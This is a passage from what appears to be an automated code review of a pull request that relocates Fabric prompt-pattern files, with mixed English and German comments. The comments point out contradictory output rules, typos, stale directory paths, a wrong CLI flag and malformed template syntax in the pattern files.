(or change the constraint to "up to 16 words" if that matches intent); ensure
this existence check happens before any word-count validation so the fallback on
Line 41 is used when appropriate.
In
@.opencode/skills/Utilities/Fabric/Patterns/summarize/dmiessler/summarize/system.md:
- Around line 1-25: There are two copies of the summarize pattern's system.md
due to a double "summarize" nesting which breaks ExecutePattern resolution;
consolidate by keeping a single system.md at the pattern root (the summarize
pattern's system.md expected by SKILL.md/ExecutePattern), remove the nested
duplicate, and ensure directory names follow the consistent
"/pattern_name/dmiessler/" layout so pattern loader finds the single system.md.
In @.opencode/skills/Utilities/Fabric/Patterns/t_check_metrics/system.md:
- Around line 10-16: The document contains conflicting output rules: the item
"5. End with an ASCII art visualization of what you worked on..." and the OUTPUT
INSTRUCTIONS rule "2. Only output the list, nothing else."; resolve by choosing
one behavior and updating the two clauses accordingly—either remove or revise
the ASCII-art requirement (the "5. End with an ASCII art..." line) or relax
OUTPUT INSTRUCTIONS rule "2. Only output the list, nothing else." to explicitly
allow a trailing ASCII-art block; update the text in system.md so the
requirement is unambiguous (e.g., change "End with an ASCII art..." to
"Optionally end with an ASCII art block" or add "Except the final ASCII art
visualization, no other text is allowed").
In @.opencode/skills/Utilities/Fabric/Patterns/t_create_h3_career/system.md:
- Around line 10-11: Die Datei für das Pattern t_create_h3_career enthält
fälschlicherweise Threat-Modeling-Inhalte (die zwei Zeilen mit "Write 8 16-word
bullets threat modeling my life plan..." und Empfehlungen dazu); entferne diese
Threat-Modeling-Anweisungen und ersetze sie durch
Career-Generierungs-spezifische Instruktionen: z.B. fordere 8 Bullet-Punkte (je
~16 Wörter) die Karrierepfade, Schlüsselkompetenzen und typische Hindernisse
beschreiben sowie konkrete, umsetzbare Empfehlungen zur Karriereentwicklung
(Weiterbildung, Netzwerken, Meilensteine) und formuliere die Ausgabe klar unter
dem Pattern-Namen t_create_h3_career, sodass Inhalt und Pattern-Zweck
übereinstimmen.
In
@.opencode/skills/Utilities/Fabric/Patterns/t_create_opening_sentences/system.md:
- Around line 10-11: The pattern file t_create_opening_sentences contains steps
(lines referencing negative thinking bullets and "tough love" encouragement)
that don't belong in an "opening sentences" pattern; remove or relocate those
steps to a correctly named pattern (e.g., t_identify_negative_thoughts or
t_provide_tough_love_feedback) and update the pattern header/purpose accordingly
so the file name and behavior match; alternatively, if those steps are intended
here, rename the pattern and any references from t_create_opening_sentences to a
name reflecting negative-thought analysis to comply with the "PAI Skills —
Domain-specific sub-algorithms" guidelines.
In
@.opencode/skills/Utilities/Fabric/Patterns/t_find_negative_thinking/system.md:
- Around line 10-16: The instructions are contradictory: "4. Write 4 16-word
bullets" and "5. Add some tough love encouragement" conflict with "OUTPUT
INSTRUCTIONS 2: Only output the list, nothing else." Modify the pattern to
unambiguously specify the output shape — e.g., change step 4 to "Write 3 16-word
bullets identifying negative thinking" and step 5 to "Add 1 additional bullet
(tough-love encouragement) of up to 16 words" or alternately change OUTPUT
INSTRUCTIONS 2 to "Only output a list of 4 items (3 bullets identifying negative
thinking + 1 encouragement)"; update the text referencing "4. Write 4 16-word
bullets", "5. Add some tough love encouragement", and "OUTPUT INSTRUCTIONS 2" so
they all match the chosen option.
In @.opencode/skills/Utilities/Fabric/Patterns/t_year_in_review/system.md:
- Around line 11-16: Die Ausgaberegeln widersprechen sich: die Anweisung "End
with an ASCII art visualization of what you worked on and accomplished vs. what
you didn't work on or finish." steht im Widerspruch zu "Only output the list,
nothing else."; passe system.md so beide Vorgaben vereinbar sind, z.B. ändere
die List-Regel zu "Only output the list and, if present, a single fenced code
block containing ASCII art" oder ergänze die ASCII-Anforderung mit "embed the
ASCII art as a fenced code block within the list"; suche nach die exakten
Satzfragmente "End with an ASCII art visualization..." und "Only output the
list, nothing else." und aktualisiere den Text entsprechend.
In @.opencode/skills/Utilities/Fabric/Patterns/to_flashcards/system.md:
- Around line 43-49: Replace the conflicting instruction "Present questions and
answers in the form of a Markdown table" with the CSV-only directive so the
OUTPUT INSTRUCTIONS block is the single source of truth: remove or delete the
Markdown-table sentence and ensure the remaining OUTPUT INSTRUCTIONS explicitly
state "Output the cards you create as a CSV table. Put the question in the first
column, and the answer in the second. Don't include the CSV header." (look for
the exact strings "Present questions and answers in the form of a Markdown
table" and the "OUTPUT INSTRUCTIONS" block in system.md) Ensure no other lines
in the file ask for Markdown tables so the file consistently requires CSV-only
output.
In @.opencode/skills/Utilities/Fabric/Patterns/transcribe_minutes/system.md:
- Around line 19-23: Die Anweisung in system.md ist inkonsistent: die STEPS
verlangen Bullet-Listen für MINUTES, ACTIONABLES und DECISIONS, während OUTPUT
an anderer Stelle fordert "exactly 16 words", was sich gegenseitig ausschließt;
fix: decide on one format and make both STEPS and OUTPUT consistent — either (A)
keep Bullet-list requirement for MINUTES/ACTIONABLES/DECISIONS and remove the
"exactly 16 words" constraint from OUTPUT, or (B) keep the "exactly 16 words"
rule and change STEPS to request a single sentence of exactly 16 words for each
section; update all occurrences mentioning MINUTES, ACTIONABLES, DECISIONS,
STEPS and OUTPUT (including the other similar blocks referenced) to use the
chosen consistent rule and ensure examples/instructions reflect the same format.
In @.opencode/skills/Utilities/Fabric/Patterns/tweet/system.md:
- Around line 1-47: The file currently contains a tutorial-style guide (ends
with the ad-hoc prompt "make this into a tweet and have engaging Emojis!" on
line 46) instead of a reusable pattern; replace the prose with a
patterns-compliant system.md that defines the pattern's purpose, a clear input
schema (e.g., fields like "topic", "tone", "max_length"), expected output format
(a single tweet string with emojis), and a reusable prompt/template for
generating tweets; ensure you include examples (sample inputs + expected tweet
outputs) and concise system instructions so functions like the tweet generator
can call the pattern reliably (reference: system.md and the trailing prompt
text).
In @.opencode/skills/Utilities/Fabric/Patterns/write_hackerone_report/system.md:
- Around line 19-36: The template currently uses bold formatting for the Title
header ("**Title:**") while the surrounding rules state "no Bold/Italics",
causing a contradiction; update the template and/or the guidance to be
consistent by either removing the bold markup from the header (change
"**Title:**" to "Title:") or by amending the "no Bold/Italics" rule to
explicitly allow this header style; ensure the same change is applied to the
other affected headers ("Summary", "Description", "Steps To Reproduce",
"Supporting Material/References", "Impact") and to the duplicate section
referenced (lines 131-134) so all headers follow the unified rule.
- Line 40: The pattern contains unrealistic hardcoded repetition/time directives
(e.g., "218-mal lesen", "312 Stunden nachdenken", "5000-mal lesen", "500
Wiederholungen" and the similar entries at the other occurrences) that make it
impractical; replace those exact large numeric mandates with practical,
actionable alternatives such as qualitative guidance ("read slowly several
times", "reflect for a short focused interval and revisit"), or make them
configurable placeholders (e.g., "{{repeat_count}}" or "N times / until
understood") so the steps remain executable and tunable; update the occurrences
of the exact phrases ("218-mal lesen", "312 Stunden nachdenken", "5000-mal
lesen", "500 Wiederholungen" and the repeated entries on the indicated lines)
accordingly.
In
@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md:
- Around line 495-496: In the examples where the helper invocation is malformed
(the template call to generate_java_gadget with parameters payload, cmd,
encoding), fix the mismatched braces/parentheses so the helper is invoked as a
properly balanced double-mustache template call with a closing parenthesis and
closing braces; update all three occurrences of the broken snippet (the
generate_java_gadget(...) helper examples) to use the corrected, balanced
template invocation.
In @.opencode/skills/Utilities/Fabric/Patterns/write_semgrep_rule/system.md:
- Around line 21-25: Remove the stray Python artifact by deleting the
`user_message = { ... }` dictionary and any leftover Python dictionary syntax
within the pattern documentation so only the intended markdown/text remains;
specifically locate the `user_message` symbol and remove that whole assignment
and any stray commas/braces or stray triple-quote delimiters so the
documentation file contains only the pattern content and valid markdown
structure.
In @.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md:
- Around line 40-48: The PATTERN_PATH assignment and the subsequent ls fallback
reference the old Fabric patterns directory; update the hardcoded path used in
the PATTERN_PATH variable and the ls command to point to the migrated Utilities
path (replace occurrences of "skills/Fabric/Patterns" with
"skills/Utilities/Fabric/Patterns") so both the cat lookup and the "Available
patterns" listing use the new location; ensure you update the PATTERN_PATH
definition and the corresponding ls invocation in ExecutePattern.md (and any
duplicate occurrence around the later reference) to match.
In @.opencode/skills/Utilities/Fabric/Workflows/UpdatePatterns.md:
- Around line 32-33: The workflow uses the old pattern directory path; update
all occurrences of ~/.opencode/skills/Fabric/Patterns/ to the migrated path
~/.opencode/skills/Utilities/Fabric/Patterns/ (e.g., in the CURRENT_COUNT
command and any Count/Sync/Verify steps) so commands like CURRENT_COUNT=$(ls -1
~/.opencode/skills/Fabric/Patterns/ 2>/dev/null | wc -l | tr -d ' ') and related
path usages reference ~/.opencode/skills/Utilities/Fabric/Patterns/ instead.
---
Outside diff comments:
In
@.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md:
- Around line 10-16: The file
.opencode/skills/Utilities/Fabric/Patterns/t_analyze_challenge_handling/system.md
contains contradictory output rules: the directive "Create an ASCII art diagram
of the relationship my missions, goals, and projects." conflicts with "Only
output the list, nothing else."; update the pattern to be consistent by choosing
one output contract and editing the corresponding line—either change the
ASCII-diagram request (Line 10) to request a plain list that fits "only output
the list, nothing else" or relax the list-only constraint (Line 16) to allow an
ASCII diagram; ensure the final text references the pattern name
t_analyze_challenge_handling and clarifies which format (ASCII diagram or list)
is expected so downstream code can rely on a single, unambiguous output
instruction.
---
Minor comments:
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_git_changes/system.md:
- Line 3: Die Kernformulierung in der Prompt-Zeile ("You are an expert project
manager and developer, and you specialize in creating super clean updates for
what changed a Github project in the last 7 days.") ist grammatikalisch holprig
und verwendet "Github" inkonsistent; überarbeite diese Zeile in system.md so
dass sie flüssig klingt und "GitHub" korrekt großgeschrieben ist (z.B. "You are
an expert project manager and developer who creates clear, concise summaries of
what changed in a GitHub project over the last 7 days."); ersetze die alte
Satzformulierung genau dort, wo der ursprüngliche Prompt-Text steht, und bewahre
den gleichen Ton und Zweck der Anweisung.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_legislation/system.md:
- Line 11: Ersetze im System-Prompt-Satz, der mit "3. Give a wholistic, unbiased
view of the proposal..." beginnt, das falsch geschriebene Wort "wholistic" durch
die Standardschreibweise "holistic" (also: "Give a holistic, unbiased view of
the proposal..."); stelle sicher, dass nur die Rechtschreibung geändert wird und
die restliche Formulierung unangetastet bleibt.
- Around line 33-34: Entferne die doppelte Markierung "END EXAMPLES" im
Markdown: behalte nur eine Zeile mit exakt "END EXAMPLES" und lösche die
überflüssige Wiederholung, sodass die Datei nicht mehr zwei identische "END
EXAMPLES"-Zeilen enthält.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_paper/README.md:
- Line 20: Replace the string "MacOS" in the heading "Example run in
MacOS/Linux:" with the correct casing "macOS" so the line reads "Example run in
macOS/Linux:"; update the README.md entry accordingly to ensure consistent OS
naming.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_rpg_session/system.md:
- Line 3: The system prompt sentence "You are an expert summarizer of
in-personal personal role-playing game sessions." contains a duplication/typo;
replace the phrase "in-personal personal" with "in-person" so the sentence reads
"You are an expert summarizer of in-person role-playing game sessions." Update
the exact string in system.md (search for the phrase "You are an expert
summarizer of in-personal personal role-playing game sessions.") and save the
file.
- Line 92: Replace the unclear sentence "Ensure the Previously On output focuses
on the recent episode, just the background from before." in the system prompt
with a corrected, unambiguous instruction such as "Ensure the Previously On
output focuses on the recent episode, not just the background from before." so
the intent is clear; update the line containing the phrase "Previously On output
focuses on the recent episode" accordingly.
- Line 58: Tippfehler in der THEMES-Sektion: ersetze das Token
"Continuousontinuous" durch "Continuous"; suche in der Datei nach der
THEMES-Überschrift bzw. dem String "Continuousontinuous" und aktualisiere diesen
Eintrag so, dass nur "Continuous" steht, ohne weitere Änderungen an Kontext oder
Formatierung.
- Line 104: The markdown line starting with "(Note that the transcript below is
of the full conversation between friends, and may include regular conversation
throughout. Read the whole thing and figure out yourself which part is part of
the game and which parts aren't." is missing a closing quotation mark; fix it by
adding a closing double-quote at the end of that line so the string is properly
quoted.
In @.opencode/skills/Utilities/Fabric/Patterns/t_check_dunning_kruger/system.md:
- Around line 26-28: Fix the spelling mistakes in the output spec: change
"misinterpreation" to "misinterpretation" in the UNDERESTIMATION OF COMPETENCE
section and change "METACOGNITIVIVE" to "METACOGNITIVE" and "accuratelly" to
"accurately" in the METACOGNITIVE SKILLS section; update the strings exactly
where those section headings and bullet instructions appear so the document uses
the corrected words.
In @.opencode/skills/Utilities/Fabric/Patterns/t_extract_panel_topics/system.md:
- Line 15: In system.md replace the lowercase token "markdown" with the proper
proper noun "Markdown" everywhere it appears (e.g., the occurrence noted in the
text header/description), ensuring capitalization is corrected and no other
formatting changes are introduced.
In @.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md:
- Line 190: Fix the grammar in the sentence that currently reads "Only return
strings in the JSON object. Do not return arrays any other data types." by
inserting the missing word "or" so it reads "Do not return arrays or any other
data types."; locate that exact sentence in
.opencode/skills/Utilities/Fabric/Patterns/threshold/system.md and update it
accordingly.
- Line 188: Im Textabschnitt, der derzeit "one-pont level" verwendet (die
Zeichenkette "Use granular scoring at the one-pont level of granularity, meaning
give a 77 if it's not a 78, vs. rounding down to 75 or up to 80."), korrigiere
den Tippfehler, indem du "one-pont" zu "one-point" änderst, sodass die
Formulierung korrekt "one-point level" lautet; belasse den restlichen Satzinhalt
unverändert.
- Line 186: Korrigiere den Tippfehler in dem Textsegment "Score the content VERY
LOW if it doesn't include interesting ideas or any relation to the INTERESTS
topcis" indem du "INTERESTS topcis" zu "INTERESTS topics" änderst; überprüfe die
umliegende Formulierung auf ähnliche Tippfehler und passe nur dieses Vorkommen
an.
In @.opencode/skills/Utilities/Fabric/Patterns/write_hackerone_report/README.md:
- Line 44: Fix the typo in the README command string: change the incorrect tool
name "bbReportFromatter" to the correct "bbReportFormatter" in the line that
shows the example invocation so the command `bbReportFormatter --print-report`
is consistent and works as documented.
In
@.opencode/skills/Utilities/Fabric/Patterns/write_nuclei_template_rule/system.md:
- Line 33: The DSL expression contains a dangling open placeholder "{{" inside
the inline DSL block; remove the extra "{{" (or close it properly) so you don't
nest braces — replace the nested "{{" with just the variable/expression name or
complete the placeholder (e.g., use the variable directly inside the outer {{
... }}), ensuring the DSL placeholder is a single well-formed {{ ... }}
expression rather than an open "{{".
---
Nitpick comments:
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_debate/system.md:
- Line 61: Die Anweisung "Only output Markdown, but don't use any Markdown
formatting like bold or italics." ist widersprüchlich und sollte präzisiert
werden: ersetze diese Zeile durch eine klare Regel, z.B. "Output must be valid
Markdown using only structural elements (headings, lists, code blocks,
blockquotes, links) and no inline/visual formatting such as bold, italics,
strikethrough, inline code emphasis, or HTML." so consumer code and reviewers
(search for the exact sentence "Only output Markdown, but don't use any Markdown
formatting like bold or italics.") wissen genau welche Markdown constructs
(structural vs inline) are allowed and which are prohibited.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_lecture/system.md:
- Line 14: The phrase "Node each topic as a headline" in the system prompt
should be corrected to "Note each topic as a headline" unless "Node" is
intentionally used; update the string "Node each topic as a headline. In case it
has sub-topics or tools, use sub-headlines as markdowns." in
.opencode/skills/Utilities/Fabric/Patterns/summarize_lecture/system.md to
replace "Node" with "Note" (or document/clarify the intended technical meaning
of "Node" if it was deliberate).
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_micro/system.md:
- Line 18: In the system prompt text in
.opencode/skills/Utilities/Fabric/Patterns/summarize_micro/system.md replace the
phrase "human readable Markdown" with the hyphenated form "human-readable
Markdown" (update the exact string on the line containing "human readable
Markdown" to "human-readable Markdown").
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_prompt/system.md:
- Line 22: Ändere die Formulierung in der Systembeschreibung, ersetze die Phrase
"You only output human readable Markdown." durch "You only output human-readable
Markdown." und achte darauf, den Bindestrich in der zusammengesetzten
Adjektivform beizubehalten, damit die Stilistik konsistent bleibt.
In
@.opencode/skills/Utilities/Fabric/Patterns/summarize_pull-requests/system.md:
- Line 29: In der angegebenen textstelle ersetze die Phrase "human readable
Markdown" durch die korrekt zusammengesetzte Form "human-readable Markdown";
suche nach dem exakten Ausdruck "human readable Markdown" in system.md und
aktualisiere ihn auf "human-readable Markdown" (ohne weitere Änderungen).
In @.opencode/skills/Utilities/Fabric/Patterns/summarize/system.md:
- Line 3: Unify the terminology used for output formatting by choosing one
consistent phrase and replacing the other: either change "Markdown-formatted"
(currently on Line 3) to "human-readable" or change "human-readable" (currently
on Line 18) to "Markdown-formatted" so both occurrences match; update both
occurrences of the phrases "Markdown-formatted" and "human-readable" in the
document (system.md) to the chosen term and ensure surrounding wording remains
grammatically correct.
In
@.opencode/skills/Utilities/Fabric/Patterns/t_extract_intro_sentences/system.md:
- Line 14: In der angegebenen Datei bitte die Kleinbuchstaben-Wortmarke
`markdown` auf Line 14 zu `Markdown` ändern, damit die Schreibweise im
Skill-Katalog konsistent ist; suche nach dem Vorkommen des Tokens `markdown` im
Text und ersetze es durch `Markdown`.
In @.opencode/skills/Utilities/Fabric/Patterns/t_extract_panel_topics/system.md:
- Line 11: The phrase "not just me" in the pattern text "Write them so that
they'd be good panels for others to participate in as well, not just me." is
ambiguous; update that sentence to use an explicit target reference such as "not
just the target person/requester" (or "not just the original requester") so the
system prompt is unambiguous and reproducible across contexts—locate the line
containing that exact sentence in system.md and replace the "not just me"
fragment with the chosen explicit phrase.
In @.opencode/skills/Utilities/Fabric/Patterns/t_find_blindspots/system.md:
- Line 14: Die Schreibweise in der Datei enthält an einer Stelle das Wort
"markdown" klein geschrieben; bitte dort das Token "markdown" durch "Markdown"
ersetzen (achte auf die exakte Zeichenfolge "markdown" im Text, großschreiben
auf "Markdown") so dass die Konsistenz der Markdown-Bezeichnung
wiederhergestellt wird.
In @.opencode/skills/Utilities/Fabric/Patterns/t_give_encouragement/system.md:
- Line 14: Die Terminologie ist inkonsistent: das Vorkommen von "markdown" soll
durchgängig großgeschrieben als "Markdown" sein; suche das Token "markdown" im
Text (aktuelles Vorkommen lautet klein) und ändere es zu "Markdown", sodass die
Benennung konsistent ist.
In
@.opencode/skills/Utilities/Fabric/Patterns/t_visualize_mission_goals_projects/system.md:
- Line 10: Step 4's phrasing "the relationship my missions, goals, and projects"
is pronoun-inconsistent; replace that phrase with a neutral, clear form such as
"the relationship between the input owner's missions, goals, and projects" or
"the relationship between their missions, goals, and projects" wherever the
exact string "the relationship my missions, goals, and projects" appears (Step 4
/ the step text).
In @.opencode/skills/Utilities/Fabric/Patterns/transcribe_minutes/system.md:
- Around line 19-20: Die bestehende Anweisung in der MINUTES-Sektion zwingt bei
kurzen Meetings zu Halluzinationen; bitte ändere den Text so, dass er fordert:
"Schreibe bis zu 50 Bullet-Points mit den überraschendsten/ansprechendsten
Ideen; wenn das Transkript weniger als 20 verwertbare Punkte enthält, sammle
stattdessen alle tatsächlich vorhandenen Punkte (keine erfundenen), und gib die
tatsächliche Anzahl an." Aktualisiere die Formulierung in
.opencode/skills/Utilities/Fabric/Patterns/transcribe_minutes/system.md in der
MINUTES-Anweisung (ersetzt die aktuelle "20 to 50" Regel) und stelle sicher,
dass die Anweisung ausdrücklich verbietet, fehlende Punkte zu halluzinieren.
In @.opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md:
- Around line 63-71: The markdown contains code fences with no language tag
(e.g. the block beginning "[Content from user] ↓ [Read
Patterns/extract_wisdom/system.md]...") which triggers MD040; update those pure
text/tree example fences to use the text language (replace ``` with ```text) in
the shown example and the other occurrences referenced (lines 92-126, 132-166,
198-206, 209-216) so linting passes; search for code fences used for
illustrative text or tree outputs in ExecutePattern.md and add the `text` tag to
each such fence (leave real code blocks with proper language tags unchanged).
|
|
||
| - **--stream, -s**: Streams results in real-time. Ideal for getting immediate feedback from AI operations. | ||
|
|
||
| - **--update, -u**: Updates patterns. Ensures you're using the latest AI prompts for your tasks. |
Contributor
There was a problem hiding this comment.
🧩 Analysis chain
🌐 Web query:
Welche offiziellen Fabric-CLI-Optionen gelten aktuell für Pattern-Updates und wofür steht -uvs.-U?
💡 Result:
Für Pattern-Updates gibt es in der offiziellen Fabric-CLI aktuell den Schalter:
-U/--updatepatterns: Patterns aktualisieren (lokale Patterns werden aus dem upstream aktualisiert). [1]
Verwechslung dazu:
-u/--scrape_url: URL scrapen (eine Website-URL wird via Jina AI zu Markdown verarbeitet und dann als Input genutzt) – hat nichts mit Pattern-Updates zu tun. [1][2]
Merke: Groß-/Kleinschreibung ist entscheidend: -U = Update patterns, -u = URL scrape. [1]
🏁 Script executed:
# Überprüfe die spezifische Datei und die betreffende Zeile
cat -n .opencode/skills/Utilities/Fabric/Patterns/suggest_pattern/user_updated.md | head -40Repository: Steffen025/pai-opencode
Length of output: 2307
🏁 Script executed:
# Überprüfe die anderen Workflow-Dateien auf Flag-Verwendung
echo "=== ExecutePattern.md ==="
grep -n "\-U\|\-u\|--update" .opencode/skills/Utilities/Fabric/Workflows/ExecutePattern.md || echo "Keine Matches gefunden"
echo -e "\n=== UpdatePatterns.md ==="
grep -n "\-U\|\-u\|--update" .opencode/skills/Utilities/Fabric/Workflows/UpdatePatterns.md || echo "Keine Matches gefunden"
echo -e "\n=== SKILL.md ==="
grep -n "\-U\|\-u\|--update" .opencode/skills/Utilities/Fabric/SKILL.md || echo "Keine Matches gefunden"Repository: Steffen025/pai-opencode
Length of output: 332
CLI-Flag in user_updated.md korrigieren: -u ist für URL-Fetching, nicht für Pattern-Updates.
Zeile 31 zeigt --update, -u für Pattern-Updates, verwendet aber das falsche Shortflag. Die offizielle Fabric-CLI nutzt:
-U/--updatepatternsfür Pattern-Updates (korrekt in UpdatePatterns.md verwendet)-ufür URL-Fetching/Scraping (korrekt in ExecutePattern.md und SKILL.md verwendet)
Ändere Zeile 31 zu: --update, -U um Konsistenz mit den anderen Workflow-Dateien herzustellen.
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.opencode/skills/Utilities/Fabric/Patterns/suggest_pattern/user_updated.md
at line 31, In user_updated.md the short CLI flag is incorrect: replace the
string "--update, -u" with "--update, -U" so the Pattern update flag matches the
official Fabric-CLI usage (consistent with UpdatePatterns.md and other docs);
update the single line containing that flag in user_updated.md to use -U as the
short option.
Comment on lines
+27
to
+33
| - Write the KEY POINTS bullets as exactly 16 words. | ||
|
|
||
| - Write the TASKS bullets as exactly 16 words. | ||
|
|
||
| - Write the DECISIONS bullets as exactly 16 words. | ||
|
|
||
| - Write the NEXT STEPS bullets as exactly 16 words. |
Contributor
There was a problem hiding this comment.
Konflikt zwischen exakter Wortanzahl und Fallback-Regel auflösen
Auf Line 27–33 verlangst du exakt 16 Wörter pro Bullet, auf Line 41 aber "No information available". Diese Regeln schließen sich aus, wenn ein Abschnitt leer ist.
✅ Vorschlag
-- Write the KEY POINTS bullets as exactly 16 words.
-- Write the TASKS bullets as exactly 16 words.
-- Write the DECISIONS bullets as exactly 16 words.
-- Write the NEXT STEPS bullets as exactly 16 words.
+- Write the KEY POINTS, TASKS, DECISIONS, and NEXT STEPS bullets as exactly 16 words when content exists.
-- If information for a section is not available in the transcript, write "No information available".
+- If information for a section is unavailable, output exactly one bullet: "- No information available".Also applies to: 41-41
🧰 Tools
🪛 LanguageTool
[style] ~31-~31: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ...e TASKS bullets as exactly 16 words. - Write the DECISIONS bullets as exactly 16 wor...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
[style] ~33-~33: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ...CISIONS bullets as exactly 16 words. - Write the NEXT STEPS bullets as exactly 16 wo...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.opencode/skills/Utilities/Fabric/Patterns/summarize_meeting/system.md
around lines 27 - 33, The template currently requires exactly 16 words for KEY
POINTS, TASKS, DECISIONS, and NEXT STEPS but also defines a fallback "No
information available", which conflicts when a section is empty; update the
logic that generates these sections (the KEY POINTS / TASKS / DECISIONS / NEXT
STEPS rules) to first check if the section has content and if empty emit the
fallback "No information available", otherwise enforce the 16-word constraint
(or change the constraint to "up to 16 words" if that matches intent); ensure
this existence check happens before any word-count validation so the fallback on
Line 41 is used when appropriate.
Comment on lines
+1
to
+25
| # IDENTITY and PURPOSE | ||
|
|
||
| You are a summarization system that extracts the most interesting, useful, and surprising aspects of an article. | ||
|
|
||
| Take a step back and think step by step about how to achieve the best result possible as defined in the steps below. You have a lot of freedom to make this work well. | ||
|
|
||
| ## OUTPUT SECTIONS | ||
|
|
||
| 1. You extract a summary of the content in 20 words or less, including who is presenting and the content being discussed into a section called SUMMARY. | ||
|
|
||
| 2. You extract the top 20 ideas from the input in a section called IDEAS:. | ||
|
|
||
| 3. You extract the 10 most insightful and interesting quotes from the input into a section called QUOTES:. Use the exact quote text from the input. | ||
|
|
||
| 4. You extract the 20 most insightful and interesting recommendations that can be collected from the content into a section called RECOMMENDATIONS. | ||
|
|
||
| 5. You combine all understanding of the article into a single, 20-word sentence in a section called ONE SENTENCE SUMMARY:. | ||
|
|
||
| ## OUTPUT INSTRUCTIONS | ||
|
|
||
| 1. You only output Markdown. | ||
| 2. Do not give warnings or notes; only output the requested sections. | ||
| 3. You use numbered lists, not bullets. | ||
| 4. Do not repeat ideas, or quotes. | ||
| 5. Do not start items with the same opening words. |
Contributor
There was a problem hiding this comment.
🧩 Analysis chain
🏁 Script executed:
#!/bin/bash
# Beschreibung: Überprüfung der Verzeichnisstruktur für summarize-Patterns
# Suche nach allen summarize-Pattern-Verzeichnissen
fd -t d 'summarize' .opencode/skills/Utilities/Fabric/Patterns/ --max-depth 3
# Prüfe auf doppelte system.md-Dateien im summarize-Kontext
fd 'system.md' .opencode/skills/Utilities/Fabric/Patterns/summarize/Repository: Steffen025/pai-opencode
Length of output: 1103
🏁 Script executed:
# Überprüfe andere autor-namensgegebene Pattern-Verzeichnisse
find .opencode/skills/Utilities/Fabric/Patterns -mindepth 2 -maxdepth 2 -type d | head -20
# Suche nach Dokumentation zur Verzeichnisstruktur in SKILL.md
head -100 .opencode/skills/Utilities/Fabric/SKILL.md | grep -i "pattern\|director\|structure" -A 2 -B 2Repository: Steffen025/pai-opencode
Length of output: 2606
Doppelte Verschachtelung behebt Muster-Ausführungspfad.
Die Datei befindet sich unter .opencode/skills/Utilities/Fabric/Patterns/summarize/dmiessler/summarize/system.md, was im Gegensatz zu anderen Patterns doppelte "summarize"-Nesting enthält. Laut SKILL.md erwartet ExecutePattern die Datei unter Patterns/summarize/system.md. Andere Patterns verwenden konsistent das Format /pattern_name/dmiessler/, nicht /pattern_name/dmiessler/pattern_name/.
Beide Dateien existieren aktuell (root-level und nested). Diese Struktur sollte konsolidiert werden, um die dokumentierte native Muster-Ausführung zu erfüllen.
🧰 Tools
🪛 LanguageTool
[style] ~13-~13: Three successive sentences begin with the same word. Consider rewording the sentence or use a thesaurus to find a synonym.
Context: ...e input in a section called IDEAS:. 3. You extract the 10 most insightful and inte...
(ENGLISH_WORD_REPEAT_BEGINNING_RULE)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In
@.opencode/skills/Utilities/Fabric/Patterns/summarize/dmiessler/summarize/system.md
around lines 1 - 25, There are two copies of the summarize pattern's system.md
due to a double "summarize" nesting which breaks ExecutePattern resolution;
consolidate by keeping a single system.md at the pattern root (the summarize
pattern's system.md expected by SKILL.md/ExecutePattern), remove the nested
duplicate, and ensure directory names follow the consistent
"/pattern_name/dmiessler/" layout so pattern loader finds the single system.md.
|
|
||
| # STEPS | ||
|
|
||
| - Start by slowly and deeply consuming the input you've been given. Re-read it 218 times slowly, putting yourself in different mental frames while doing so in order to fully understand it. |
Contributor
There was a problem hiding this comment.
Unrealistische Iterations-/Zeitvorgaben machen das Pattern unpraktikabel.
Anweisungen wie „218-mal lesen“, „312 Stunden nachdenken“, „5000-mal lesen“ und „500 Wiederholungen“ sind operativ nicht ausführbar und verschlechtern Laufzeit/Ergebnisstabilität.
Also applies to: 46-47, 52-53, 58-59
🧰 Tools
🪛 LanguageTool
[style] ~40-~40: Consider a more concise word here.
Context: ... different mental frames while doing so in order to fully understand it. - For each HTTP r...
(IN_ORDER_TO_PREMIUM)
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In @.opencode/skills/Utilities/Fabric/Patterns/write_hackerone_report/system.md
at line 40, The pattern contains unrealistic hardcoded repetition/time
directives (e.g., "218-mal lesen", "312 Stunden nachdenken", "5000-mal lesen",
"500 Wiederholungen" and the similar entries at the other occurrences) that make
it impractical; replace those exact large numeric mandates with practical,
actionable alternatives such as qualitative guidance ("read slowly several
times", "reflect for a short focused interval and revisit"), or make them
configurable placeholders (e.g., "{{repeat_count}}" or "N times / until
understood") so the steps remain executable and tunable; update the occurrences
of the exact phrases ("218-mal lesen", "312 Stunden nachdenken", "5000-mal
lesen", "500 Wiederholungen" and the repeated entries on the indicated lines)
accordingly.
Comment on lines
+495
to
+496
| {{generate_java_gadget(payload, cmd, encoding }} | ||
| ``` |
Contributor
There was a problem hiding this comment.
Fehlerhafte Beispiel-Syntax bei Helper-Funktionen korrigieren
Die Beispiele auf Line 495, Line 573 und Line 592 enthalten kaputte Klammer-/Template-Syntax. Das ist riskant, weil Nutzer diese Snippets direkt übernehmen und dadurch ungültige Nuclei-Templates erzeugen.
🔧 Vorschlag
-{{generate_java_gadget(payload, cmd, encoding }}
+{{generate_java_gadget(payload, cmd, encoding)}}
- minify: "{{json_minify(json}}"
+ minify: "{{json_minify(json)}}"
- pretty: "{{json_prettify(json}}"
+ pretty: "{{json_prettify(json)}}"Also applies to: 573-574, 592-593
🤖 Prompt for AI Agents
Verify each finding against the current code and only fix it if needed.
In
